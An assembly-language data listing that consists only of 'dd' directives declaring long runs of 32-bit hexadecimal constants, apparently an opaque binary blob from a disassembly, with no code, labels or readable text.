		dd 8FF8216Eh, 7FEDE078h, 5A87324h, 2909835Dh, 76CB0CBh
		dd 2B5AF800h, 0DBAF8B79h, 0B15704F2h, 0C027EA59h, 238703CCh
		dd 0F005055Eh, 0A8401B5Bh, 0C10D9E53h, 852F038Eh, 6248A1FFh
		dd 0E82210E0h, 2D20D400h, 0ACA2C809h, 0CAB600DDh, 71C79DF1h
		dd 0AF00741Fh, 0DB80BF4h, 0C7FCECC9h, 10EED3B8h, 79C65B51h
		dd 0B69ACC2Ch, 80B0B93Ah, 0F2C365FEh, 2FADE5E4h, 0C00D5FCh
		dd 0E9F511B6h, 38308073h, 0AD27482Fh, 96B8F4h, 8DC99A13h
		dd 0A362B60Dh, 6B203061h, 25EC5C29h, 9676ADh, 937F7312h
		dd 88C06342h, 7B194F05h, 0A84032AEh, 0CBF50C3Eh, 10F8F2h
		dd 0B44E8F26h, 1D2D0A85h, 87006F75h, 2979F0D1h,	31EB88h
		dd 7AB24954h, 5D24AB33h, 18F7B800h, 0C616D3FFh,	0E0425CD5h
		dd 814C2817h, 2B6E4694h, 0E9939422h, 0E2D4800Ch, 0CB560029h
		dd 81747D48h, 9AEEEE47h, 391690B2h, 50139ECAh, 0EFF74C3h
		dd 61428320h, 3D5E1820h, 8202E166h, 6FE956B5h, 2730E094h
		dd 2B4B003Ch, 0C3570D4Ch, 8D7B6CEFh, 0AB229207h, 0E8234D8Bh
		dd 317AA8CBh, 617112A1h, 3EBE88Ah, 6D903C28h, 89F0B875h
		dd 0D1E300CEh, 0EE7297Fh, 95CD09h, 0DA806B78h, 6C0A022Eh
		dd 2696A236h, 0FB8000D9h, 0D76121ACh, 36182F59h, 1AD0080h
		dd 81EC8CB3h, 23941904h, 0EC91460Ch, 0BEF09670h, 36860BA5h
		dd 346081D6h, 0AE0033A7h, 56BA723Fh, 3BE6DDCh, 0A3DB896Fh
		dd 9A82F10Fh, 0D2037856h
		dd 0F86284B7h, 26B1A11h, 0C48F66DDh, 0C4A40E7Ah, 4D1CC008h
		dd 0C0905FB8h, 69F7FA00h, 13D28FCh, 0AC670013h,	9FB99029h
		dd 3C5C2A62h, 0BCB42C70h, 275F9800h, 16DB687Fh,	1DD49234h
		dd 4D4700DCh, 0C9BD0783h, 850706FAh, 0F7737918h, 0A5DC3200h
		dd 7789874h, 453D72AAh,	1004294Ch, 19B4D277h, 0C689A4E0h
		dd 0F5839B00h, 79623A5Eh, 0D4FE15B9h, 7500A832h, 0B0CD96A7h
		dd 0F10988D9h, 60651636h, 1CD251B0h, 4739CAB1h,	64B09E03h
		dd 3800D9D9h, 5FFB8108h, 0E63030C1h, 50AC9885h,	46A876h
		dd 0A3FFF8DAh, 722ECC55h, 4C644C2Eh, 13D31200h,	7A70490Ah
		dd 0B3400A6h, 71892369h, 91160C52h, 0F800F17Eh,	2910A639h
		dd 1213266Ch, 852800BCh, 0ED528DD4h, 35007E77h,	0E62E393Eh
		dd 9744564Ah, 0C4A72C85h, 0C498C0DCh, 2A008CC2h, 5BA3DD88h
		dd 58DB84Bh, 230EAB34h,	0BD14FECEh, 57FD00B4h, 0D426B1E9h
		dd 174D00A9h, 55B99190h, 0C067A62h, 0F0696365h,	0EB470060h
		dd 74FC883Ch, 3401392Eh, 0AA381C04h, 8B608BEFh,	0B4E854AEh
		dd 0C1F000EDh, 61489B16h, 3459C822h, 62651584h,	0DF6800B8h
		dd 9027FC19h, 0E8727B60h, 0C2D0050h, 1FAE34C4h,	60985189h
		dd 9DE09500h, 7A080780h, 603D16B2h, 52E800C8h, 0E1A6E794h
		dd 1801053Fh, 48807C9Eh, 88B000B5h, 0C0B4EF61h,	0DC980F96h
		dd 13B99D00h, 3C842B9Ch, 2F1B03ABh, 0CC6101E6h,	980170BBh
		dd 0B437FEF0h, 89E0A508h, 357600E3h, 1D2B0D61h,	0BFB8EF25h
		dd 40404BA2h, 8F13D5A5h, 64000A4Dh, 0D2D7689Ch,	98FA0452h
		dd 0C0BE1C11h, 0F9E0A50Ch, 0DC2F8F24h, 0CAC72800h, 0B335CD5h
		dd 0AAC938Dh, 5783BE80h, 0CF005DCDh, 0C1B68665h, 34EA8h
		dd 56EF583Ch, 0CDAC07B4h, 9AC8F450h, 59BD9500h,	46A2FE96h
		dd 0E8F5004Dh, 0EC894B7Fh, 0FD00908Bh, 0FACDDCE9h, 0C0D7C27h
		dd 0EAA2497h, 73007008h, 1C453AEDh, 3F6C17FFh, 0A6005B48h
		dd 0A86803F0h, 8F046FBFh, 55E34A81h, 520E14ACh,	5A00B60h
		dd 2FC4447h, 0B0DFF412h, 384F1800h, 0B871D2EBh,	0A8BD0654h
		dd 49863642h, 0E9277A16h, 0E7EEE041h, 0E4C0599Dh, 4F206D8h
		dd 0FC4DA169h, 9F85C409h, 560209Bh, 0E76F3EBh, 1B2B7EC5h
		dd 6A526461h, 9AE83085h, 7C3FBE00h, 0E21AC92Fh,	70E124CFh
		dd 0F6310B6Ch, 80BB2026h, 45828C00h, 0D6E18DCh,	7E68E025h
		dd 77EF005Bh, 64F1DFBDh, 3F00047Eh, 4E99DB94h, 53221Ah
		dd 0EA0D6AEh, 0AA8218C9h, 0C0003977h, 84C75ED5h, 0E6CDE90h
		dd 255AFE02h, 4CA4C4C0h, 70000E06h, 56CD07DBh, 58F7E2C9h
		dd 2C07DA8Bh, 26C23DB8h, 0E0E67826h, 0DA1AA900h, 0ADB05F99h
		dd 736A00CAh, 386C707h,	6E00B305h, 0CE0E637h, 1642B40h
		dd 5AFA1FA9h, 0E0E5FC8Fh, 0D483E3Ch, 0CA5F008Bh, 0A4D7B122h
		dd 0D9F000F5h, 9FDB73EEh, 0D300766Dh, 2E10679Eh, 6FFA19h
		dd 3FC76B24h, 0FDB8B77h, 0F41A331Dh, 72682C01h,	64F8B1F9h
		dd 2A5E00A0h, 4B0C18Dh,	0FC011873h, 0E5C69013h,	48E40F12h
		dd 79461F67h, 6109F049h, 4A0EC744h, 0A0C85F62h,	0B36C83D7h
		dd 6A9D00D0h, 68F83E3Dh, 0CE0A2407h, 0B0CA8E6Fh, 0D50F5800h
		dd 2E81E062h, 0F390B39h, 2FE787ECh, 20A3409Fh, 1A002C8Ah
		dd 0FBE2E33h, 3CCD78DFh, 0BC00162Dh, 62F06C68h,	509D363Bh
		dd 73640597h, 0EB5BCE8Ah, 4F4D9380h, 0EB40BF1Dh, 920B6694h
		dd 809EFD46h, 4323CACh,	0C1334C81h, 1E2B6900h, 0C477F5C7h
		dd 4052E400h, 327CBE5Bh, 0C3B090h, 60B6DC71h, 5795D978h
		dd 33DF1900h, 0B3ECC72Ch, 0C97000A6h, 0F089AB36h, 65006E5Eh
		dd 0BC3D51D7h, 50E15A9Eh, 7C6BB4CBh, 539B187Eh,	26EB079h
		dd 54732B0Eh, 70678104h, 17F0C208h, 0E1FA018Fh,	0F357460Eh
		dd 0DA0980DCh, 0EDF16140h, 628D00FFh, 159154B3h, 0B400CAC6h
		dd 0FE0E3527h, 15FA498h, 0C7FF7B58h, 0E596CFA2h, 4397EC1Eh
		dd 5C72D700h, 8CDF9FDh,	5B1800B8h, 2905BF84h, 33709A17h
		dd 0BD34AE0Eh, 70B9E093h, 87A1DDh, 25BB0FB8h, 2172BC1Bh
		dd 69E88200h, 5C473B6Ah, 7B8000ADh, 0FBEE5533h,	400D2A8h
		dd 0A3D4BCCCh, 1F79505Fh, 808BB8DAh, 9BBFF88Dh,	934C9E65h
		dd 4C500B8h, 0CE7EACC1h, 97900072h, 0E1B383CCh,	81009C6Bh
		dd 0AA70963Ah, 0FB01EBh, 0EE204348h, 5786A6A0h,	5FAC2D50h
		dd 277CDE00h, 9B1944E5h, 6362009Ah, 7737D081h, 2C92CDA2h
		dd 0EC07FAE6h, 5F1AB315h, 0D53F0660h, 55350078h, 0DD4EC0FDh
		dd 0C3003A9Eh, 0F4E0ECCAh, 0E72A1Dh, 56DB8425h,	2933B6DFh
		dd 503AB307h, 0EF0E830h, 14AB922Fh, 0F40C5FBEh,	28E2E003h
		dd 20994FC1h, 0ABEFD43Bh, 0EA10AA50h, 0B8DEE67Dh, 3E4C5501h
		dd 89D5390h, 0EADE059Ah, 0A91000CAh, 38855FD6h,	87079C0Eh
		dd 642E8040h, 1F142B7h,	9DE81F25h, 809720C5h, 1652A41Ch
		dd 7FC4A3h, 726A7E37h, 6D271C74h, 0C34D1A1Fh, 0B698BC00h
		dd 3CB4A09h, 80AEA904h,	70DFD4CFh, 9361C2E4h, 273F1874h
		dd 5FBC8028h, 0FABB539Fh, 41150CBDh, 87898111h,	9DEBC709h
		dd 8F702009h, 0C56A7FE7h, 0A17C1E8h, 584A680h, 0A2EB02h
		dd 9AAFE714h, 8B3FED71h, 0DF9E8055h, 31C69F90h,	47A600E1h
		dd 95ED413h, 9C003BE7h,	6340E38Ch, 1621150Bh, 0FB25553Dh
		dd 7707EF06h, 0FFAF1D18h, 7EF68054h, 90B11C6Bh,	8F8CB60Dh
		dd 21E42051h, 789A5Eh, 0FF96196Ch, 7EF50572h, 0EE642F00h
		dd 2D8944B3h, 0C13D70EFh, 0C58CB518h, 0F00BFD73h, 8B0FC2B8h
		dd 156979Ah, 7969E7A9h,	0C7370A4h, 0F5F975A8h, 2A5FC601h
		dd 27E75EA1h, 0CC1E453h, 6A202C09h, 0FC30B689h,	35065186h
		dd 8FDB186Bh, 0B0EFD17Fh, 6CF243Ch, 6AF43C5Fh, 0EA362441h
		dd 0DE7605C1h, 8CA84007h, 8B3C996Eh, 6CA9CF00h,	0A3333672h
		dd 0C347001Ch, 75C77C4Fh, 3A0E44A4h, 0C7948FDAh, 6F73C4ECh
		dd 84EAE8EEh, 0BF77030Fh, 0F15340BAh, 0A3215AD8h, 2DED9E00h
		dd 6E1A62C6h, 0C37D0E4Ch, 83807210h, 0A57B5A13h, 0BF4F463Ah
		dd 33DA003Dh, 0D1343225h, 0F7FDFh, 93A42676h, 0B2DDCB3Fh
		dd 368C2D00h, 0E55ECE1Eh, 267B001Bh, 0A38B107Dh, 0CC2C9340h
		dd 4D06C513h, 58101CD1h, 8F007025h, 7D0E40BBh, 7114C7A5h
		dd 9938D8h, 32496F41h, 2D301F0h, 0C9974B94h, 0BBE07703h
		dd 730C921Fh, 5822F12Ch, 0BE633B7Bh, 425F5100h,	12B92EBBh
		dd 0A5A8F00Eh, 7EC8638Eh, 79B6A6h, 0B1A1B7F1h, 78119091h
		dd 0FC323000h, 4B067FDDh, 637F6E8h, 1475E4CDh, 7D1BE979h
		dd 1F4199B9h, 0B0EF8BE8h, 72B58E11h, 0F5384201h, 0B2489B4Ch
		dd 0F6A584F4h, 5B700CDh, 0E7B03188h, 0B50094E3h, 6AF90950h
		dd 8085C8h, 0F559B606h,	9F1F37B0h, 54B2690Eh, 0B3EA017h
		dd 3A45CBA8h, 580948Ah,	0E0504A28h, 5605157Fh, 0BD4BA623h
		dd 68CB38C0h, 40666044h, 0CEBC7647h, 95AAA000h,	186260A1h
		dd 97CD00E1h, 32242E85h, 212484B7h, 0AB170D88h,	3EFFEA00h
		dd 0F2D2EF10h, 68D13947h, 6A661F80h, 0A0CC7F4Ah, 359A1800h
		dd 85D437D9h, 0A1E60101h, 2C05D399h, 9D30E4BBh,	0C00013F0h
		dd 60AF057h, 0C387286Ah, 25E9D068h, 9836E10Ch, 0F461CCh
		dd 492C22AAh, 35CE16B2h, 0A21CF290h, 7A1994h, 0DDE2F488h
		dd 0F84ED9EFh, 8E4901A0h, 0C8129F1Ch, 4AF18C62h, 1F087Bh
		dd 0C725234Fh, 16F7641Dh, 48907118h, 731F178h, 0CC2DB461h
		dd 58E05F23h, 0FB8CD907h
		dd 3EE3651Dh, 4ADB5500h, 67E9132h, 0AF7C2E54h, 4F3D09ABh
		dd 88DB28FAh, 0B7F89100h, 3EC124A4h, 8E5C004Eh,	0FC760351h
		dd 0A7008328h, 89FB2ADCh, 78D3742h, 0B61B44ABh,	3211E05Ch
		dd 0AC764039h, 1077C00h, 0A81C6AEEh, 405D6047h,	2ADB850Bh
		dd 0C11AC5Ch, 205C4D78h, 0B35941A7h, 0CA4C20A9h, 98540049h
		dd 0FD13AEF0h, 0EC01A228h, 0FBC2D8F8h, 2D4C1086h, 0AD03A842h
		dd 112C862Ah, 6010003Ch, 340182EBh, 0CD0135AAh,	0FE18DD87h
		dd 7121863Eh, 0F8BEBAFCh, 1F420017h, 6EE48302h,	63F43FC0h
		dd 0CE6BB900h, 4137385h, 58EE0053h, 44CF0132h, 860F9633h
		dd 0F8F02D1Ah, 7780314h, 389CCEC7h, 8782B0E7h, 743CC47Ch
		dd 0F47A85CCh, 0A0C00346h, 117DDEh, 0C17C328Bh,	4AA8409Dh
		dd 7BFE6C00h, 2954E290h, 0BC6500BDh, 0D985A02Dh, 0F7000D03h
		dd 9F95FFBh, 0FF1EDD0h,	33164F0Fh, 0C1860EE5h, 0D039DE18h
		dd 0A577D29Eh, 9DDB3407h, 7311FBB5h, 40C7FA76h,	7865D208h
		dd 0B3920075h, 994A7BADh, 0D0F6B6D7h, 0AD88D00h, 498319CDh
		dd 86E4065Fh, 29A50293h, 22B51322h, 0FD220DB9h,	40977C60h
		dd 9D44FF78h, 11084439h, 863CE5FEh, 0E3D85h, 634848Fh
		dd 269A89h, 30CA8AEDh, 915DF08h, 0A955D100h, 0A09833B7h
		dd 96960B6h, 8087EA2Fh,	97915817h, 34AF01BFh, 0F03973F2h
		dd 0F97BD08Ah, 823D500h, 52AEA643h, 0E3AD0229h,	0C7E7E916h
		dd 83E684A7h, 0BAB03F51h, 810328B3h, 0E0DDE144h, 0A7CA047h
		dd 8CE6005Ah, 2579D709h, 6F008E76h, 0D960B1D8h,	26E089h
		dd 56A4C154h, 20936B96h, 50499818h, 18719950h, 111C7D80h
		dd 0C8ED921Bh, 101CF056h, 0AA095760h, 0CC390099h, 13B6E91h
		dd 0A9962C11h, 0E41548B8h, 0CD00932Fh, 0F899F4B5h, 364D012h
		dd 0FE6B0D08h, 0BC84DD4h, 0CD001024h, 65A6ADB8h, 62D7FD5h
		dd 8C599268h, 0F200E8FDh, 202B6D66h, 7C87D8Bh, 0FBD52F04h
		dd 0EFD0A040h, 6100FD4Dh, 9EC076ADh, 0F0C3832Eh, 68020096h
		dd 0D5B5DC34h, 0FC0058F6h, 1949522Bh, 6E9438h, 0D179D41Ah
		dd 0DDF9AAA8h, 9DC9A500h, 0EA7DD74Fh, 0EB610107h, 2E78A743h
		dd 0F605D43Ch, 863FB103h, 0F953EF1h, 0E1631C58h, 82075F4Bh
		dd 6568B077h, 0E572A8E0h, 434FF900h, 0EADB6A62h, 0D79400CDh
		dd 719605C8h, 0A400778Ah, 0C94D705Fh, 1BE6A26h,	6E7E9DBCh
		dd 0EC3E75B3h, 7A1DD772h, 764047C0h, 0A1E4508Bh, 55770084h
		dd 2CA77BA4h, 0AF7079AAh, 0AC854600h, 0D9F64531h, 8F7006DEh
		dd 94CDFD0h, 80B56E3Dh,	2FB7D3ADh, 1F5ED92Dh, 0DD0EF3h
		dd 41CFABF0h, 6D0497E0h, 0FC299F58h, 3C002485h,	694B16F8h
		dd 2B211D8Ah, 0E42EC18h, 3020E879h, 54567A33h, 2D9B3600h
		dd 441FA57h, 0AA5E0292h, 909E2CE0h, 0AF91B6C0h,	0BC3D9F38h
		dd 0B9FD006Dh, 0D8EB5DF5h, 0B23F3D49h, 0F348CD07h, 10AF9221h
		dd 0BC1FAA54h, 597399C0h, 0C2DAA9h, 0CFE2AA64h,	0FA0063Ch
		dd 0BBCDE600h, 4402908Eh, 9A520FC2h, 0D7BDBCACh, 741800CEh
		dd 1068631Ah, 90536500h, 0D1AFC8DDh, 0E1FCCFh, 475B828Dh
		dd 0C7C0B142h, 0FB4F081Eh, 0E7D94600h, 41BD31h,	0C844DE78h
		dd 1E8C8011h, 4D399503h, 0D814E105h, 410D890h, 5198269Bh
		dd 64088044h, 0DA004CB7h, 62EF14D9h, 7DE613EBh,	6F60003Fh
		dd 1925E5BBh, 2F027ADFh, 3CDD9291h, 60B04213h, 5756B4Fh
		dd 0F074F1D5h, 0F9D0C056h, 0AA00B45Fh, 1D9BAB7Ch, 9841BBE2h
		dd 0E530008Ch, 98535010h, 2C005B43h, 565D1DF8h,	1DA180ACh
		dd 848CCDE3h, 81229ED6h, 40186606h, 4EB2FE04h, 59F2FA00h
		dd 993C6D74h, 0C3210041h, 0A35D5FB8h, 0D7016137h, 7B0F93D2h
		dd 7B70A709h, 28970031h, 0F424B6F3h, 7000A616h,	1BA5B969h
		dd 0C63A14h, 0C5E82052h, 0E433AF19h, 970766F0h,	891FB90Fh
		dd 0E080D745h, 0EB08F8h, 0FEEFCA67h, 0B8B5C62Bh, 0BC51D100h
		dd 95B1E9E2h, 30400065h, 0AE70A598h, 2300C7ABh,	2B62832Dh
		dd 5A4376h, 9E0F5E99h, 2CB3DCFDh, 0CFC35000h, 0B1A5B7ECh
		dd 737E00D3h, 0D5C5D611h, 171FD212h, 430B80E9h,	0DC2C202Ah
		dd 3B1535C9h, 0EF009CD8h, 0F52EA120h, 0D9008122h, 0D27DF6F1h
		dd 372AE9Ah, 0C804DBF0h, 900D1F4h, 572E0F07h, 0FFBDD3h
		dd 0B024324h, 0DF397252h, 0FA2B5800h, 0DE273C1Dh, 83050785h
		dd 874E29AFh, 7815972h,	80124158h, 0FDD02AF0h, 9042A650h
		dd 981D39C0h, 33FE2701h, 0C8E55785h, 5D001B2Eh,	2C31660Dh
		dd 5400883h, 825BCF42h,	0DADC81B3h, 2B9060D2h, 0A53E861Ch
		dd 7901A740h, 0F2683FC1h, 3C7600B9h, 0E51235D9h, 1E3EC394h
		dd 0ABAD0E33h, 3D1F5E32h, 45E60A40h, 9D13EDh, 89547104h
		dd 0FE210E28h, 0D0B23A00h, 752E1CECh, 51E316A3h, 440300DCh
		dd 414348A0h, 4249A500h, 38093B5Bh, 3FCE1DBBh, 0BF116F7h
		dd 250B7E60h, 2B75100h,	0B89868B3h, 3D071E1Eh, 2E13E940h
		dd 1DAECB4h, 0C1096A3Ah, 80DF6757h, 59F7C509h, 39ADC6Dh
		dd 0A895EA30h, 787AB4Fh, 0B2B9625Bh, 7AB57CC8h,	380F7D05h
		dd 1083FEEDh, 8BE6E06Ah, 6C74C5h, 0B887F852h, 59C79DACh
		dd 0D2D3D41Ch, 0EF07FFBDh, 0CB90F103h, 3F128AA0h, 0F5A00077h
		dd 0E2AB6B99h, 0D00FA92Ah, 60BC4FCFh, 28F413E6h, 10A30032h
		dd 2D373BA1h, 680011B5h, 0FA8B0CB1h, 748F59h, 8C7F4D06h
		dd 0A89DF2F7h, 89242200h, 8E69BA18h, 23340009h,	37B2563h
		dd 0BD078556h, 1492D0EAh, 9A823840h, 0DAB912B6h, 5D6D0008h
		dd 65073296h, 86BF6E00h, 0EAEC3D69h, 226C00F5h,	0D421230Ch
		dd 0FE481CA4h, 7C1F0F78h, 0CB49E040h, 0F62CDFC4h, 2ADD00D7h
		dd 96C8B6C3h, 0F0000C78h, 0E4B2E623h, 64D3FCBCh, 0C73A0990h
		dd 0D53970D9h, 0D9B032FAh, 24C3DF2Ch, 0C4762404h, 5937C820h
		dd 9CC25E12h, 0BB66E903h, 884F880Dh, 6020EF91h,	1200080h
		dd 9C3075E1h, 0DE0062A4h, 88B998ABh, 3B7EB822h,	0C98199F2h
		dd 9ED865CEh, 959470F3h, 19021A76h, 92D121BAh, 711D406Dh
		dd 57C000A3h, 0A9733540h, 0D8004112h, 80DB65AEh, 0D2FFD5h
		dd 0FD7BDF59h, 0BC6E3CFh, 0E003BB7Bh, 0E9ADE6F6h, 0E170C141h
		dd 0A0A82DE4h, 13ED5ED0h, 0F490F5Bh, 546027ECh,	43ABFA6Eh
		dd 7100147Ah, 0A51178CBh, 0F8CA51D9h, 0D81800D7h, 0D10D12F6h
		dd 650081C1h, 79100762h, 90ED3A16h, 0D7FE0580h,	0FD2574h
		dd 0E2EA34E9h, 913B9E77h, 0EC6A87BEh, 5B1069AFh, 0C8DE6C6h
		dd 8BE3D743h, 401F5909h, 1BC0B1D9h, 26F167AFh, 0E1AD70DBh
		dd 29C437D1h, 349C0008h, 98F9FB58h, 6803549Bh, 19935F63h
		dd 7B8B81DAh, 30F0B0FCh, 0A7FE1AC1h, 70E5AB9h, 6711D90Eh
		dd 400E2C81h, 0AFD37F91h, 8FF10087h, 0CC9884BCh, 80007E2h
		dd 0B8CFE703h, 0D0A83Ch, 0D3B5CAF1h, 6CC76FF0h,	0E014490h
		dd 0CDC17B9h, 0BBECE4E7h, 0D09C00CDh, 47F20DD3h, 0BD00D608h
		dd 4C6286C9h, 51608Bh, 0E42F80FDh, 0C55B2CABh, 686B0D00h
		dd 3686024Ah, 5EEE98h, 0ABE6B964h, 4403BC99h, 0EB37B200h
		dd 41059D9Ah, 61E37F6h,	0E7360094h, 26735E6h, 0E2104674h
		dd 747AA5h, 2CEC9CE4h, 419D6690h, 3DDE4D00h, 0C26C38F2h
		dd 134F016h, 773730BFh,	31635B91h, 8D9DC4ACh, 894A800h
		dd 8758B63Ch, 9C990071h, 0F04A6024h, 0D8003B3Eh, 1AC34F33h
		dd 0E620620Ch, 0A9F10042h, 8341A374h, 0EA0023D2h, 0D8CE78ECh
		dd 0ED3B64h, 66C95E45h
		dd 1EA48CD1h, 2135F212h, 0A04080C0h, 84967Ch, 0C734255Ah
		dd 660B79AEh, 8FB94996h, 8E1AC008h, 18FCF90Dh, 317B3D7Ch
		dd 24A03452h, 460E176Dh, 804FA482h, 749602A7h, 0F57009Ah
		dd 545EB737h, 769087F2h, 97505600h, 608E7063h, 76721F01h
		dd 0C34649A3h, 8A01365Ch, 957B1F7Ah, 83FF1080h,	79D37023h
		dd 14714904h, 60A0BADCh, 0B4870CFAh, 82786D18h,	9FF7863Eh
		dd 7B017A9Eh, 0CDD3AC35h, 1DC87561h, 0D74800BEh, 89F919CEh
		dd 24EE95D0h, 232B0E03h, 0D9066D1Ah, 0C2F4183Dh, 7DAB0326h
		dd 1637EA45h, 8B7FA090h, 0F0F6832Ch, 8A0A7480h,	0FB325Bh
		dd 0B1715CCh, 5A04C1EDh, 0DB129E00h, 7945D3A7h,	650C2607h
		dd 18A51C94h, 887BB849h, 0EBE48B00h, 4CC5CF2Ch,	4AD4911h
		dd 1700DE3Bh, 5B36A680h, 0E9007A83h, 0A53F086Ah, 180C69h
		dd 0F2878CABh, 10FE1D90h, 0AFD58400h, 697C2166h, 5104006Ah
		dd 0DE650B9Eh, 0F5756BB8h, 18104507h, 0C1C098E4h, 225775F1h
		dd 0BA28160Eh, 67008087h, 0F07D1B94h, 3FECE41Dh, 8B81D495h
		dd 1A6F7B32h, 9B8080DAh, 169206B5h, 9A8700DBh, 2BCA1576h
		dd 6C0086FFh, 0BC35B865h, 3DF3B9CDh, 1F78C646h,	0BA99CBh
		dd 42D3DF24h, 700066B0h, 198176DBh, 2E7246A2h, 1793516h
		dd 0B4D914DDh, 24298820h, 287900DCh, 0F1738CF7h, 0D690371Eh
		dd 23CEE21Dh, 167CFFCh,	0A078D301h, 3A59A5C8h, 4730F30Dh
		dd 27F48D09h, 0E7008074h, 3387BD0Fh, 4E9D89h, 1DA838Ch
		dd 0BC969A8Ah, 85EC4500h, 0AAB9C96Bh, 0A2031A7Dh, 0AE61EC69h
		dd 1BDF70E4h, 30291C00h, 8CA89A35h, 6C34007Dh, 0C510636h
		dd 9E00B09Dh, 9165A40Fh, 0BEABF2h, 2580D1CFh, 4FF475F9h
		dd 211080EFh, 6E4096FDh, 8A1C00E2h, 2D632FD9h, 0C02BDA6h
		dd 68B488DDh, 36B080F3h, 0F86033h, 0D2083A95h, 1F990EE7h
		dd 70D7DA00h, 7AAFD8D6h, 187800D5h, 3B662D52h, 6C009EB5h
		dd 0E730346Eh, 7D8A85h,	0D519B24Ah, 125F91B6h, 647FA403h
		dd 12BAE0B0h, 0AB4AA73Ah, 9DCF6400h, 7262D382h,	0E1030024h
		dd 1113CA61h, 0D83CFC41h, 6800F76h, 7AC05F5Eh, 9431794Eh
		dd 29A60001h, 0E43AC89Ch, 403F3CDCh, 4AB05B8Bh,	0EC070020h
		dd 0EF9D3502h, 2E0F7FDEh, 0E2EE3341h, 0C0AC8AC6h, 0D1852Eh
		dd 0BD0A232Fh, 94F12AFFh, 0E45DD500h, 0C37948D3h, 1738003Eh
		dd 8626996Bh, 7E00698Ah, 0EE4D660Bh, 19A75Bh, 0CFADB31Ah
		dd 5FAA1D31h, 0BF640A00h, 254434DCh, 0F6D51D46h, 0F7EE00FBh
		dd 21D43B40h, 0D8354302h, 414176F5h, 86DC471Dh,	1AA81E75h
		dd 956D960h, 7887F8ECh,	57BEF500h, 0DA645F45h, 2289097h
		dd 3969A1DBh, 0A9406647h, 0C000F6E6h, 55602616h, 1CABA7D0h
		dd 4036345Bh, 0E006C2A1h, 5700E615h, 0A8832449h, 1583059h
		dd 0AC7E8C9Ah, 0D0FEF76Bh, 0C4F69E99h, 0B4712B00h, 0EFDBF6A9h
		dd 0FBF00051h, 89A0B30h, 0FD051A04h, 0ADAC2446h, 1BD04A80h
		dd 0F62103DFh, 8C4DF577h, 30550DA8h, 0FC984C00h, 81293141h
		dd 8C335040h, 0EACA00D2h, 9BDBD190h, 8902CE91h,	65D07BE6h
		dd 62D7C0AAh, 437C0B77h, 12814199h, 80F9FD4Ah, 897F709h
		dd 2B2F444h, 0C02C70FBh, 8C819B3Fh, 0CEEDA137h,	616010h
		dd 5D04C946h, 95322B1h,	83FAF03Dh, 0A7DD85ADh, 2E87E855h
		dd 8CA00039h, 0FE5FD4FCh, 9C18CEB3h, 6719AFE7h,	152A0013h
		dd 0A37ED557h, 3C075212h, 489D1EDAh, 0A79B9A00h, 0C556124Ch
		dd 0FFA000DBh, 8962A242h, 7449D800h, 1A87087Ah,	10D76AF2h
		dd 0C3E30070h, 0CD57A19Eh, 8BEF6401h, 1EB879FEh, 35B170h
		dd 2889B0Bh, 43C5FB69h,	8BC4BB01h, 9CDCBE40h, 3D5FF8h
		dd 0FF39B477h, 0CEE00E08h, 0BA3C5600h, 962548DAh, 0CB4700A8h
		dd 0EEF75473h, 0C3FE2EE3h, 0E86A591Fh, 9450E4D8h, 561F00D9h
		dd 242348A8h, 39507F55h, 4006FD4h, 0A4D620Fh, 15B454h
		dd 42AD268Ah, 0AB9FFA43h, 57A71B0Eh, 400C808Fh,	234327Ch
		dd 0CC3A78EAh, 1861D976h, 0E5B5D075h, 300C10F4h, 18EC485Ah
		dd 0EE7F14h, 0D2718841h, 0E724D91Ah, 0F8002898h, 0B32BE117h
		dd 7A062Eh, 424B048Ch, 7123FDDh, 1D07D677h, 7767C640h
		dd 0AF4E56D7h, 969802Eh, 6E70B05Dh, 4861382Ah, 0E445DDF5h
		dd 4C07D7B4h, 9407349Fh, 20B5CEBFh, 1B48C37Eh, 0E2223FDDh
		dd 49C10402h, 0ED60375Ch, 3F024254h, 0D5582641h, 726048A0h
		dd 0AF4A17EAh, 0B4600071h, 0E646296Eh, 0A056F01h, 0D7015C9Bh
		dd 37AE3D0h, 6ACE7CA1h,	9007B52h, 0A428B899h, 41BD391h
		dd 1E574BD1h, 176080C2h, 0CEA08DC6h, 100FFBBh, 8288E1CCh
		dd 716F4Dh, 0E07EF219h,	76402648h, 80BA870Fh, 0B51CA068h
		dd 1E86813Bh, 21694ABh,	0B1ED9ACDh, 125DD0A1h, 0A98F443h
		dd 420DD500h, 8D10A363h, 384A002Ah, 0AC09510Ch,	1A01402Dh
		dd 4B7353DEh, 10360FFDh, 0CC256A0Fh, 0FAD52A40h, 5626BF99h
		dd 39042479h, 3D851F80h, 0DCB84800h, 73CB92ECh,	536108C5h
		dd 41049C6h, 0FBE15680h, 0B800D814h, 0A2676D41h, 0E119B96h
		dd 0E7CDD59h, 48666423h, 0D37CC7FDh, 1FC04B3Eh,	0E91F5015h
		dd 0CD409562h, 947F02E6h, 8C583A2Dh, 1A3EA980h,	9FC9EDE8h
		dd 0D4185200h, 254C59CBh, 828F0029h, 0B69218Bh,	6D7A6C35h
		dd 0AF04B090h, 2004B5BBh, 0D82DC980h, 24D60083h, 0DAC47B6Bh
		dd 2F3DE386h, 39088345h, 903858h, 0CF443AD0h, 53B7C997h
		dd 135C0600h, 0C131DFD1h, 0F72F00A5h, 0A64712F8h, 0CC00C2A7h
		dd 70390672h, 0F23730E1h, 83EB00C3h, 0CE179655h, 470116B0h
		dd 0C4131E68h, 0C42439E5h, 4D3D01CFh, 0B4D55274h, 0C3C0415Eh
		dd 211CE3CAh, 6440681Dh, 0B1C41F1Eh, 1519C33Ah,	0A9124D47h
		dd 3CA1FAC9h, 2FA20880h, 7D3FC264h, 8CB36A38h, 0D095F28Dh
		dd 0D8200061h, 357A786Ch, 9D61EDB4h, 90392518h,	0B5B2DE0h
		dd 7C5F8C32h, 1DAB4780h, 0BC0DEC5Ch, 39B5D6A3h,	7C045981h
		dd 41A615D8h, 0CCB8C544h, 117FFDC0h, 18733B00h,	28A519F2h
		dd 0EF2D0027h, 8B3439CAh, 0DE75EED9h, 99ABDF00h, 0C9FBDB67h
		dd 3D511D4Ch, 6BF90037h, 50444E86h, 98814B00h, 0F53C0782h
		dd 4734029Eh, 668A99FBh, 40E660D7h, 9C4800D8h, 115B2C23h
		dd 0E9004EA7h, 3D14C19Bh, 0EFEA60h, 92D25E4Bh, 58F93829h
		dd 0AA4A4278h, 0C6CFB0h, 6A5767AEh, 0E132FAB1h,	8006093Eh
		dd 61469FF1h, 0A436CA5h, 4F6A933Ah, 3BF0B4C0h, 2484BF04h
		dd 10B8C8BEh, 15FB316h,	0EA48B900h, 0B09572B8h,	0C6DA0C28h
